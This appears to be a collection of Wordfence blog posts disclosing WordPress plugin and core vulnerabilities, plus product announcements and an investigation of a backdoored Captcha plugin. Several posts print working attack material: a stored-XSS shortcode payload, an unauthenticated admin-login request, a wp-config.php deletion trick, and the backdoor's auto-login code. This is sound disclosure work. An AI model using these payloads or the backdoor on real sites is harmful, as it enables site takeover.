Improper Access Controls in GDPR Cookie Consent Plugin

Description: Improper Access Controls
Affected Plugin: GDPR Cookie Consent
Affected Versions: <= 1.8.2
CVSS Score: 9.0 (Critical)
CVSS Vector:
Patched Version: 1.8.3

The following post describes how improper access controls lead to a stored cross-site scripting vulnerability in the GDPR Cookie Consent plugin that emerged after it was removed from the repository. The Wordfence team released a firewall rule to our Premium customers on February 10th.

To help create awareness of this issue, we are disclosing details of this vulnerability today, now that a fix has been released and users who do not use Wordfence Premium have a clear upgrade path. A technical description of the vulnerability in the “GDPR Cookie Consent” plugin follows.

GDPR Cookie Consent is a plugin providing site owners with the functionality to present an unintrusive modal to allow end users of the site to review and consent to receiving that site’s cookies. It’s useful for sites looking to be in compliance with EU GDPR/Cookie Law regulations. GDPR Cookie Consent currently has 700,000 active installs.

Earlier this week, the GDPR Cookie Consent plugin was closed “pending a full review” according to the plugin’s page in the directory. Normally when plugins are closed in the WordPress plugins directory without a clear reason, plugin users can be concerned or confused. Because plugins can often be closed due to security issues, we decided to investigate to see if this was the case. The development log showed the most recent revision with the log message “1.8.3 – PHP 7.4 compatibility – Security fix”, so we decided to dig further into the code changes to determine its severity to protect Wordfence users.

There were a number of code changes, but those relevant to security include a capabilities check added to an AJAX endpoint used in the plugin’s administration pages.

Because the AJAX endpoint was intended to only be accessible to administrators, the vulnerability allows subscriber-level users to perform a number of actions that can compromise the site’s security.

There are 3 actions that the vulnerability exposes to subscribers: get_policy_pageid, autosave_contant_data, and save_contentdata.

get_policy_pageid does not do much other than return the post ID of the plugin’s configured cookie policy page. There isn’t much risk with having this action available to subscribers.

autosave_contant_data is intended to define the default content that appears in the cookie policy preview page. The stored HTML content is unfiltered and can contain cross-site scripting (XSS) payloads. The cookie policy preview page is publicly accessible to all users, and these XSS payloads will be executed when visiting http://<wordpress-site>/cli-policy-preview/.

save_contentdata is designed to create or update update the corresponding post used as the GDPR Cookie Policy page that end users of the site would view to choose whether to accept cookies from the site. The action takes a page_id parameter along with a content_data parameter which contains the post content. The page_id parameter allows the attacker to update the post content of any post. Additionally, it will set the post status to draft, so attackers looking to use this vulnerability for defacement won’t be able to display the post content to normal end users of the site. It could potentially be used to remove posts and pages from the public-facing portion of the site though.

Since the post is in draft status, the post content will be visible to the post author, editors, and administrators. By default, when wp_insert_post is used for creating and updating posts, the post content is run through wp_filter_post_kses which is WordPress’s HTML whitelist. It’s designed to only allow specific HTML tags and attributes, and will strip out XSS payloads.

Because the post content can contain shortcodes, an attacker can however use GDPR Cookie Consent’s built-in shortcodes to bypass the KSES filter. These shortcodes are parsed when viewing the rendered post in the browser. Here’s an example shortcode that can included in the post content that will render a valid XSS payload in the browser when viewing the post:

[cookie_accept colour='" onmousemove=alert(/xss/);this.onmousemove=null; style="position:fixed;top:0;right:0;bottom:0;left:0;" test="']

Because the post itself will no longer be public on the site (since the post status has been changed to draft) the XSS payload can only be executed by authors, editors, and administrators who view the post.


  • February 8, 2020 – GDPR Cookie Consent plugin is removed from the plugin directory.
  • February 10, 2020 8:02 AM UTC – A patch fixing the vulnerability is pushed to
  • February 10, 2020 6:37 PM UTC – We deploy a firewall rule to provide protection against this vulnerability to our Threat Defense Feed.
  • February 11, 2020 10:00 PM UTC – GDPR Cookie Consent is re-opened in the plugin directory with the patched version available for download.
  • March 11, 2020 – Wordfence users still using the free version receive the firewall rule to protect their site.


In today’s post, we detailed how a missing capabilities check can lead to stored cross-site scripting in the GDPR Cookie Consent plugin. This vulnerability has been fixed in version 1.8.3. We recommend that users immediately update to the latest version available. Sites running Wordfence Premium have been protected from attacks against this vulnerability since February 10th. Sites running the free version of Wordfence receive the firewall rule update on March 11th, 2020.

Additionally, the generic XSS protection built into our WAF blocked the XSS payloads sent to all AJAX endpoints tested with this vulnerability. This XSS protection is provided out of the box with the Wordfence WAF, and has been available all along to both premium and free users.

Special thanks to Matt Rusnak and Ryan Britton for handling the initial investigation into this vulnerability.

The post Improper Access Controls in GDPR Cookie Consent Plugin appeared first on Wordfence.

Read More

Critical Authentication Bypass Vulnerability in InfiniteWP Client Plugin

Description: Authentication Bypass
Affected Plugin: InfiniteWP Client
Affected Versions: <
CVSS Score: 9.8 (Critical)
Patched Version:

A vulnerability has been discovered in the InfiniteWP Client plugin versions or earlier. InfiniteWP Client is a plugin that, when installed on a WordPress site, allows a site owner to manage unlimited WordPress sites from their own server. InfiniteWP Client is currently installed on over 300,000 WordPress sites.

This is a critical authentication bypass vulnerability. A proof of concept was published this morning, January 14, 2020. If you are using InfiniteWP client version or earlier we recommend immediately updating your installation to protect your site.

How the InfiniteWP Client Works

The InfiniteWP Client plugin works by allowing a central management server to authenticate to the WordPress installation so that site owners can manage the site. From a central location, site owners can perform maintenance such as one-click updates for core, plugins, and themes across all sites, backup and site restores, and activating/deactivating plugins and themes on multiple sites simultaneously. The InfiniteWP Client plugin authenticates the central management server to each WordPress installation.

The InfiniteWP Authentication Bypass

The vulnerability disclosed last week is an authentication bypass vulnerability, which could allow an attacker to use the authentication logic in the InfiniteWP Client plugin to authenticate and access the WordPress installation with InfiniteWP installed. An attacker would not need the InfiniteWP server installed to exploit this vulnerability; they could simply craft a request addressing the InfiniteWP logic to log in as any administrative user if they know the username.

Update to Wordfence

Normally the Wordfence threat intelligence team would create a firewall rule and deploy it to existing Wordfence installations. Due to the complexity and severity of this vulnerability, we had to integrate protection for this vulnerability into the Wordfence code base, which required us to release a new version of Wordfence.

On Monday, January 13, 2020, we released Wordfence version 7.4.3, which includes protection against the InfiniteWP Client authentication bypass vulnerability.

Technical Details

Here’s a basic proof of concept request which exploits the vulnerability.

User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:72.0) Gecko/20100101 Firefox/72.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
Cache-Control: max-age=0
Content-Type: text/plain
Content-Length: 93


The body of the request decodes to {"iwp_action":"add_site","params":{"username":"admin"}} which instructs the InfiniteWP client to run the add_site action, and also to login as the admin user. It requires no authentication and is relatively easy to exploit.

When a site is initially setup using InfiniteWP client, it needs to connect to the InfiniteWP server software. The InfiniteWP server sends a request to the InfiniteWP client and passes on a public key. The InfiniteWP server has the corresponding private key which is used to sign requests. Subsequent requests from the InfiniteWP server to the InfiniteWP client can be authenticated by the site by verifying the signature using the public key. The initial request from the InfiniteWP server uses one of two actions, add_site or readd_site. By design, these actions are unauthenticated (since we don’t yet have a public key). Unfortunately, the code is structured so that some features can still be used. In this case, InfiniteWP client provides a feature to automatically login as an administrator without supplying a password.

When a site is initially connected to the InfiniteWP server, the request made by InfiniteWP server to the site actually exploits this vulnerability (unintentionally). This mades it quite difficult to write a WAF rule to protect against this vulnerability since legitimate and malicious requests can be identical.

We opted to integrate protection for this vulnerability into Wordfence. From within Wordfence, we can determine if the site is already connected to an InfiniteWP server, and prevent the vulnerable code from running if either the add_site or readd_site actions are passed to InfiniteWP client.

So far, we have not seen evidence of this vulnerability being exploited in the wild, but we expect to see attempts in the near future.

Non-WordPress Firewalls Ineffective

As an additional note, the fix we have implemented for this vulnerability required tight integration with WordPress. Wordfence runs as a WordPress plugin and is therefore able to implement this kind of fix.

As a firewall vendor, our goal is to minimize false positives while blocking attacks. We don’t want to accidentally block legitimate traffic. Due to the nature of this vulnerability, it is extremely difficult to create a firewall rule that blocks attacks AND eliminates false positives for this vulnerability, without tight integration with the WordPress API.

We are bringing this to your attention because if you are using a cloud based WAF that does not tightly integrate with WordPress, you may not be protected against this vulnerability. Your cloud WAF does not have access to the WordPress API to implement this kind of fix.

Protection for All Users

Normally, we would release a firewall rule to as a part of our Threat Defense Feed which is deployed in real-time to our Wordfence Premium customers, and to the free community version of Wordfence within 30 days. Because protection for this vulnerability required code changes within Wordfence, we’ve opted to make it available to all users immediately.

Our recommendation at this time is to update your InfiniteWP Client plugin as soon as possible to version Updating Wordfence to version 7.4.3 on sites using InfiniteWP Client will provide concurrent protection.

Thank you to Matt Rusnak and Ramuel Gall for contributing to this update.

The post Critical Authentication Bypass Vulnerability in InfiniteWP Client Plugin appeared first on Wordfence.

Read More

Stored XSS Patched in SyntaxHighlighter Evolved Plugin

Description: Stored XSS
CVSS Severity Score: 5.4 (Medium)
Affected Software: SyntaxHighlighter Evolved
Plugin Slug: syntaxhighlighter
Affected Version: 3.5.0
Patched Version: 3.5.1

While doing a security audit of the plugins and themes we run on, I discovered a stored XSS vulnerability in SyntaxHighlighter Evolved. SyntaxHighlighter Evolved currently has around 40,000+ active installations. We use SyntaxHighlighter here at Wordfence for code samples within blog posts.

SyntaxHighlighter will, by default, create links for URLs within the shortcode body. The URL regex is loose enough where a javascript:// psuedo-protocol can be used to execute JavaScript when clicked. SyntaxHighlighter will process shortcodes in post comments, so an unauthenticated user can submit shortcodes containing an XSS payload. The XSS payload is then rendered within the comments section of the post, and the comments moderation page in WP Admin.

Proof of Concept:


This creates a link with the javascript: pseudo-protocol that can be used to execute arbitrary JavaScript when clicked. The vulnerability is actually with the regular expression used to match and auto-link URLs within the code block:


The \w+ character class part of \w+:\/\/ is too loose and will create links with javascript:, data:, etc. The stored XSS payload when submitted through comments will be rendered in both the comments section of a post, and within the comments moderation section of the WordPress admin panel.

* Sites Also Affected

I noticed Automattic listed as a contributor to SyntaxHighlighter. I decided to see if SyntaxHighlighter was one of the plugins covered under Automattic’s bug bounty program. It wasn’t in the list, so I checked to see if they were using SyntaxHighlighter on They do, in fact, use it to render code blocks within comments for sites hosted with

I submitted the vulnerability report to Automattic through HackerOne. Automattic triaged the report and deployed a fix to within 2 hours of the initial report. Version 3.5.1 of SyntaxHighlighter was released 4 days following the initial report. Automattic awarded a $300 bounty with a $50 bonus for the report.

Bounty Donated to OHSU in Memory of Alex Mills

The original developer of SyntaxHighlighter was a WordPress developer named Alex Mills. Sadly, he passed away earlier this year from leukemia. He worked for Automattic and was quite a prolific member of the WordPress community.

I decided to donate the bounty from Automattic to Oregon Health and Science University (OHSU) in memory of Alex Mills. OHSU played a key role in Alex’s care when undergoing treatment. You can read more about OHSU and about Alex on his blog.

Disclosure Timeline

  • October 4th, 2019 10:16am EDT – Vulnerability report sent to Automattic via HackerOne.
  • October 4th, 2019 12:05pm EDT – Automattic deploys fix to * sites.
  • October 8th, 2019 – Automattic releases version 3.5.1 of SyntaxHighlighter.
  • October 9th, 2019 – Bounty awarded by Automattic and donated to OHSU.
  • October 21st, 2019 – Report (#707720) disclosed on HackerOne.


SyntaxHighlighter Evolved <= 3.5.0 contains a stored XSS vulnerability via specially crafted comments. The vulnerability was fixed in 3.5.1, and it is recommended that you update as soon as possible. This vulnerability is covered by our generic XSS firewall rule, so Wordfence users have been protected from this vulnerability all along.

The post Stored XSS Patched in SyntaxHighlighter Evolved Plugin appeared first on Wordfence.

Read More

Wordfence Now Works on WP Engine and with Load Balancers

Today we are launching a version of Wordfence containing a new feature for sites on hosting providers with read-only file systems such as WP Engine or for environments where multiple web servers are behind a load balancer. This new feature uses a MySQL storage engine for firewall attack data to protect WordPress sites in complex hosting environments.

For most sites, Wordfence uses the file system to store data about attacks. Writing attack data to the file system is the most efficient method of doing so, and if a site allows for file access, your Wordfence plugin will continue to use this method.

WP Engine’s File System Locking

One of WP Engine’s security features only allows write access to the filesystem when a WordPress administrator is logged in. When there is no active administration session, the file system is read-only. This is a great security feature to limit file changes when no authenticated user is working on the site. However it limits the ability for certain plugins to work optimally, such as Wordfence.

In cases like this where file system access is not allowed, the new Wordfence MySQL storage engine allows WP Engine users to leverage Wordfence’s unparalleled protection for WordPress.

Load Balancers are now supported

In load balanced environments, state is not maintained on individual WordPress servers. This prevents Wordfence from using a file-based storage scheme for the firewall. The new Wordfence MySQL storage engine solves this by allowing a load balanced site to maintain state across multiple web servers, using MySQL as a central storage system.

Wordfence customers can now deploy Wordfence in their load balanced environments and scale their web server cluster horizontally while benefiting from Wordfence protection for the entire installation. We have many larger customers who are very excited about this new feature.

Wordfence MySQL Storage Engine FAQ

As we are sure you have questions, we wanted to provide some answers to determine what this means for your sites.

Q: I’m not using WP Engine. What changes do I have to make?
Nothing will change, and you won’t have to change anything. Wordfence will continue to work exactly as it always has on your site. In fact, we recommend you don’t change anything. This new feature is an accommodation for complex environments only. There are no new settings that you need to adjust.

Q: I’m installing Wordfence on a site at WP Engine. What do I have to do?
Site owners do not have to change anything. Wordfence will detect your WP Engine installation and make the required configuration change to activate the MySQL storage engine for the firewall

Q: I have a site hosted behind a load balancer. What do I need to do?
In order to have the MySQL storage engine enabled in load balanced environments, a constant will need to be changed in the Wordfence environment.

To configure the WAF to use the MySQL storage engine, you would need to add define(‘WFWAF_STORAGE_ENGINE’, ‘mysqli’); to the top of your site’s wordfence-waf.php in Extended Protection mode. Our documentation details how to do this.

Q: How will this change performance of Wordfence?
There are no changes in performance for either the Wordfence firewall or scan engine. This new feature only changes how the recording of attacks are stored for sites on WP Engine or load balanced servers. Performance will not be affected.

Q: Do I have to use Wordfence Premium to use the MySQL storage engine?
The MySQL storage engine is completely free. It is available for users running Wordfence Premium and our free community customers. That means that both the free and Premium versions of Wordfence will now be supported on WP Engine.

Q: Anything else we should know?
WP Engine needs to make a change on their end once we release this version of the plugin to ensure that Wordfence is fully supported. There may be a brief delay while they make this change, so please be patient. If you are trying to enable Wordfence on WP Engine and are having trouble, please contact their support team. We are working directly with WP Engine and they are able to reach out to us in case we need to provide assistance.

If you are using a load balanced environment and need help enabling this new feature, please don’t hesitate to reach out to our support team either via our ticketing system for Premium customers, or via our public forums if you are a free customer.

We welcome your feedback about Wordfence’s MySQL storage engine and how Wordfence supports your security on WP Engine and load balanced WordPress environments.

All product names, trademarks and registered trademarks are property of their respective owners. All company, product and service names used in this post are for identification purposes only. Use of these names,trademarks and brands does not imply endorsement.

The post Wordfence Now Works on WP Engine and with Load Balancers appeared first on Wordfence.

Read More

Details of an Additional File Deletion Vulnerability – Patched in WordPress 4.9.7

Today WordPress released version 4.9.7, a security release which addresses two separate arbitrary file deletion vulnerabilities requiring Author privileges. Some details can be found on the blog.

This post is Copyright 2018 Defiant, Inc. and was published on the official blog. Republication of this post without permission is prohibited. You can find this post at:

The first arbitrary file deletion vulnerability was disclosed June 26, 2018 on the RIPS Tech blog with no official patch to WordPress in place. We released a firewall rule the same day to protect Wordfence users from attacks against this vulnerability.

A Second Vulnerability Discovered

After developing a proof of concept of the attack to aid in writing the Wordfence firewall rule, we decided to have a closer look at the code used to create and delete attachments. During this review, we discovered a second arbitrary file deletion vulnerability exploitable by authors. We released a Wordfence firewall rule to our Premium customers on July 2nd to protect against this vulnerability.

The details of the second vulnerability are as follows: In WordPress core, there is an “upload-attachment” AJAX action used by the media uploader. The AJAX call will handle the file upload and pass an array of additional data about the attachment to wp_insert_post, since media attachments are a specific post type within WordPress.

function wp_ajax_upload_attachment() {
    // Post data from user input.
	$post_data = isset( $_REQUEST['post_data'] ) ? $_REQUEST['post_data'] : array();

	// If the context is custom header or background, make sure the uploaded file is an image.
	if ( isset( $post_data['context'] ) && in_array( $post_data['context'], array( 'custom-header', 'custom-background' ) ) ) {
		$wp_filetype = wp_check_filetype_and_ext( $_FILES['async-upload']['tmp_name'], $_FILES['async-upload']['name'] );

	$attachment_id = media_handle_upload( 'async-upload', $post_id, $post_data );

The vulnerability lies in the way wp_insert_post populates the meta data for the attachment. The path to the attachment file is stored in the meta key _wp_attached_file. By supplying post_data[meta_input][_wp_attached_file] in the request to the “upload-attachment” AJAX action, we can pass in ../../wp-config.php which WordPress will treat as the attachment file.

Similar to the first arbitrary file deletion vulnerability, when an author deletes this attachment, the wp-config.php is deleted allowing the author to go through the initial WordPress installation process which allows them to fully compromise the site.

WordPress Releases a Fix in 4.9.7

The WordPress security team has just released version 4.9.7 which addresses both of these issues by performing some additional checks before deleting attachment files. Specifically, they have added the function wp_delete_file_from_directory which they use to verify the file is within the uploads directory before deleting it.

 * Deletes a file if its path is within the given directory.
 * @since 4.9.7
 * @param string $file      Absolute path to the file to delete.
 * @param string $directory Absolute path to a directory.
 * @return bool True on success, false on failure.
function wp_delete_file_from_directory( $file, $directory ) {
	$real_file = realpath( wp_normalize_path( $file ) );
	$real_directory = realpath( wp_normalize_path( $directory ) );

	if ( false === $real_file || false === $real_directory || strpos( wp_normalize_path( $real_file ), trailingslashit( wp_normalize_path( $real_directory ) ) ) !== 0 ) {
		return false;

	wp_delete_file( $file );

	return true;


  • 2018-06-29 11:26 AM (-500) – Initial report of second arbitrary file deletion vulnerability submitted to WordPress security team.
  • 2018-07-02 1:14 PM (-500) – Firewall rule released to Wordfence Premium customers to address second vulnerability.
  • 2018-07-05 12:00 PM (-500) – WordPress releases version 4.9.7 which fixes both vulnerabilities.

What To Do

We strongly encourage you to update to 4.9.7 as soon as possible. If you have automatic updates enabled, your site should update within the next 24 hours. Automatic updates are enabled by default in WordPress for minor releases.

Credits: Congrats to Matt Barry, our lead developer at Wordfence for finding this vulnerability and writing up technical details. Thanks to Mikey Veenstra for editing this post. As always, thanks to the WordPress security team for being super responsive and for their hard work helping secure WordPress core.

The post Details of an Additional File Deletion Vulnerability – Patched in WordPress 4.9.7 appeared first on Wordfence.

Read More

Wordfence Now Includes 1.4 Billion Leaked Passwords in Password Auditing Feature

Last week, we reported a massive upsurge in brute force login attempts following the leak of a database of 1.4 billion clear text credentials. No one had seen 14% of the exposed username/password pairs before, making this a ripe opportunity for hackers to attempt to break into WordPress sites.

Historically, brute force attacks targeting WordPress have not been very successful. But this new database provides fresh credentials that, when matched with a WordPress username, may provide a higher success rate for attackers targeting sites that do not have any protection.

Password Auditing Improvements

Wordfence Premium includes a powerful Password Auditing feature. Using a GPU cracking cluster, we give you the ability to audit the strength of your admin and user passwords. You can learn more about how this feature helps protects your site here.

In response to this latest leak, we’ve merged this updated password list into our own large password list that we currently use to audit administrator accounts. Our previous list contained 269 million known passwords from various breaches, such as LinkedIn, and eHarmony. After merging and removing duplicates, this new list comes in at 609 million known passwords against which we can test your users’ passwords.

We ran some initial tests to compare how our previous list performed against the new list. In a random sampling of 100 user accounts, our previous list cracked 42% of the 100 password hashes. The current list cracks 57% when run against the same list. That’s a 36% increase over the previous capability. This means that a Wordfence password audit is now 36% more likely to find a weak password than before.


We strongly recommend that you upgrade to Wordfence Premium to benefit from the new capability we’ve added to our Password Auditing feature.

We also recommend you follow these additional steps:

  1. Install a firewall like Wordfence that intelligently blocks brute force attacks.
  2. Ensure that you have strong passwords on all user accounts, especially admin. Wordfence provides an option to enforce strong passwords when creating/updating a user account under “Login Security Options”.
  3. Change your admin username from the default ‘admin’ to something harder to guess.
  4. Delete any unused accounts, especially admin accounts that you don’t use. This reduces your attack surface.
  5. Enable two-factor authentication on all admin accounts. Wordfence Premium provides two-factor.
  6. Enable an IP blacklist to block IPs that are engaged in this attack. Wordfence Premium provides a real-time IP blacklist.
  7. Monitor login attempts by configuring alerts for when an admin signs in to your website. Wordfence (free version) provides this.
  8. Do not reuse a password on multiple services. That way, if you have a password from a data breach in this new database, it won’t be the same as your WordPress admin password. You can use a password manager like 1password to manage many passwords across services.

The post Wordfence Now Includes 1.4 Billion Leaked Passwords in Password Auditing Feature appeared first on Wordfence.

Read More

Backdoor in Captcha Plugin Affects 300K WordPress Sites

The WordPress repository recently removed the plugin Captcha over what initially appeared to be a trademark issue with the current author using “WordPress” in their brand name.

Whenever the WordPress repository removes a plugin with a large user base, we check to see if it was possibly due to something security-related. Wordfence alerts users when any plugin they are running is removed from WordPress repo as well. At the time of its removal, Captcha had over 300,000 active installs, so its removal significantly impacts many users. Though the developer was the person who posted about the plugin’s reason for removal, I decided to look at the plugin source to see if there was some foul play on the part of the developer. I found the following code:

function cptch_wp_plugin_auto_update()
    require_once ('cptch_wp_auto_update.php');
    global $cptch_plugin_info;

    $wptuts_plugin_current_version = $cptch_plugin_info['Version'];
    $wptuts_plugin_remote_path = '';
    $wptuts_plugin_slug = plugin_basename(__FILE__);

    new cptch_wp_auto_update($wptuts_plugin_current_version, $wptuts_plugin_remote_path, $wptuts_plugin_slug);

This code triggers an automatic update process that downloads a ZIP file from https://simplywordpress[dot]net/captcha/captcha_pro_update.php, then extracts and installs itself over the copy of the Captcha plugin running on site. The ZIP contains a few small code changes from what is in the plugin repository, and it also contains a file called plugin-update.php, which is a backdoor:


$user_info = get_userdata(1);
// Automatic login //
$username = $user_info->user_login;
$user = get_user_by('login', $username );
// Redirect URL //
if ( !is_wp_error( $user ) )
    wp_set_current_user ( $user->ID );
    wp_set_auth_cookie  ( $user->ID );

    $redirect_to = user_admin_url();
    wp_safe_redirect( $redirect_to );


A backdoor file allows an attacker, or in this case, a plugin author, to gain unauthorized administrative access to your website. This backdoor creates a session with user ID 1 (the default admin user that WordPress creates when you first install it), sets authentication cookies, and then deletes itself.

The backdoor installation code is unauthenticated, meaning anyone can trigger it. We will edit this post to include a proof of concept after 30 days with technical details on how the backdoor installation and execution works.

One of the other changes in the ZIP file is an update to the URL using the same automatic update process the developer used to install the backdoor:

< $wptuts_plugin_remote_path = '';
> $wptuts_plugin_remote_path = '';

The code pulled down from https://simplywordpress[net]net/captcha/captcha_free_update.php is identical to what’s in the plugin repository, so triggering the same automatic update process removes all file system traces of the backdoor, making it look as if it was never there and helping the attacker avoid detection.

The plugin first included this malicious code in the WordPress plugin repository on December 6, 2017 at 7:36am UTC in the commit @1781794:

Who Is the New Captcha Author?

Previously, the plugin development company BestWebSoft owned and maintained the Captcha plugin. On September 5, 2017, they announced a change in ownership without mentioning who the new owner was.

We decided to find out who owns the domain, since this is the domain serving the ZIP file that contains the backdoor. is registered to someone named Stacy Wellington using the email address Using a reverse whois lookup, we found a large number of other domains registered to this user:

One specifically popped up that we’ve seen in the past:

The footer of states:

“ is a registered Trading Name of Soiza Internet Marketers Limited, which is an Introducer Appointed Representative of Quint Group Limited and is entered on the Financial Services Register under the reference number: 748266.”

If you have not read our previous post on Mason Soiza, I’d suggest you read that first, since he has a long history of buying WordPress plugins in order to place cloaked backlinks on his users’ sites. He then uses these backlinks to increase page rank in SERPs (Search Engine Results Pages) and since only web crawlers such as Googlebot can read them.

The hostmaster email address is the same for both and (Stacy Wellington

The DNS history for has a previous A-record of, which is the current A-record for This DNS change happened about a month ago (two months after the Captcha committer changed over to wpdevmgr2678, the new owner).

If we look at some of the other domains hosted at, we can see which is another Introducer Appointed Representative of Quint Group Limited. That site’s footer states:

“ is a registered trading style of Serpable Ltd, which is an Introducer Appointed Representative of Quint Group Limited and is entered on the financial services register under the reference number 780328. Quint Group Limited is authorised and regulated by the Financial Conduct Authority and is entered on the Financial Services Register under reference number: 669450. Serpable Ltd is registered in England and Wales (Company number: 10699069), Registered Office, 17 Collingbourne Avenue, Bournemouth, Dorset. BH6 5QR. Licenced by the Information Commissioners Office, (registration number ZA248554).”

Serpable Ltd is owned by Charlotte Ann Wellington, possibly related to Stacy Wellington. Stacy Wellington’s email address is also the hostmaster email for

The common theme between the two Wellingtons and Mason Soiza is Quint Group Limited. We have observed Mason Soiza creating backdoors in the plugins he bought to create cloaked backlinks to his own loan sites. These backlinks play a big role in how search engines rank sites for different search terms. However, at this time, it’s unclear if either Charlotte or Stacy Wellington is the creator of the backdoor code we discovered in the Captcha plugin.

We decided to keep looking into The site offers five other plugins in addition to Captcha available for download:

  • Covert me Popup
  • Death To Comments
  • Human Captcha
  • Smart Recaptcha
  • Social Exchange

All five plugins contain the same backdoor installation code we found in Captcha. A Google search for reveals a few directories with extra plugin downloads:

  • downloads a ZIP file with the same backdoor installation code we saw in Captcha and the other plugins, but the URL used in the auto-update function (line 525 in swpopup.php) to download the backdoored ZIP points to a different domain: is another domain registered to Stacy Wellington. It resolves to the same IP address as (, Mason Soiza’s domain), and is also part of the NS records for

$ whois

Domain name:
    Stacy Wellington
Name servers:

At this point, we have a strong correlation between Stacy Wellington,, and, so it’s a strong possibility that wpdevmgr2678 is Stacy Wellington. The connection to Mason Soiza is and Quint Ltd. Both Mason Soiza and Stacy Wellington have businesses that are Introducer Appointed Representatives of Quint Ltd.

Serpable Ltd

We know at this point that Stacy and Charlotte Ann Wellington are involved with Quint Ltd through the company Serpable Ltd. So we decided to look for connections between the name Stacy Wellington and Serpable. We found this bio of his:

He mentions he works for Serpable ( and that he’s interested in computer security. This company is owned by Charlotte Ann Wellington. Charlotte also owns and, for which Stacy’s email is listed as the hostmaster:

The company Serpable Ltd is (or was previously) an SEO company. They’ve advertised prices for backlinks in the past. There are also posts from the user Serpable ( on BlackHatWorld using the Skype handle stacy.wellington1.

We also found other Quint Group-based loan sites that state “Serpable Ltd, which is an Introducer Appointed Representative of Quint Group Limited”:


In the footer:

“ is a registered trading style of Serpable Ltd, which is an Introducer Appointed Representative of Quint Group Limited and is entered on the financial services register under the reference number 780328. Quint Group Limited is authorised and regulated by the Financial Conduct Authority and is entered on the Financial Services Register under reference number: 669450. Serpable Ltd is registered in England and Wales (Company number: 10699069), Registered Office, 17 Collingbourne Avenue, Bournemouth, Dorset. BH6 5QR. Licenced by the Information Commissioners Office, (registration number ZA248554).”

What We’ve Done So Far

As of this writing, we’ve created three firewall rules in total to protect our users’ sites from the backdoor installation. Premium customers received the first two rules on December 8th and the third one on the 14th. These rules also protect against the backdoor itself executing in Captcha as well as in the five other plugins available for download on Free users will receive these rules 30 days from the original publish data via the community version of the Threat Defense Feed.

We have also been working with the plugins team to get out a patched version of Captcha (4.4.5) that is backdoor-free. The plugins team has used the automatic update to upgrade all backdoored versions (4.3.6 – 4.4.4) up to the new 4.4.5 version. Over the course of the weekend over 100,000 sites running versions 4.3.6 – 4.4.4 were upgraded to 4.4.5. They have also blocked the author from publishing updates to the plugin without their review.

Our Recommendations

We recommend that you uninstall the Captcha plugin immediately from your site. Based on the public data we’ve gathered, this developer does not have user safety in mind and is very likely a criminal actor attempting yet another supply chain attack. You should also ensure that you’ve enabled automatic updates within WordPress – that’s still one of the best ways to keep your site secure before disclosures like this take place. We also recommend using the Premium version of Wordfence, to proactively defend your site against threats like this one.

The post Backdoor in Captcha Plugin Affects 300K WordPress Sites appeared first on Wordfence.

Read More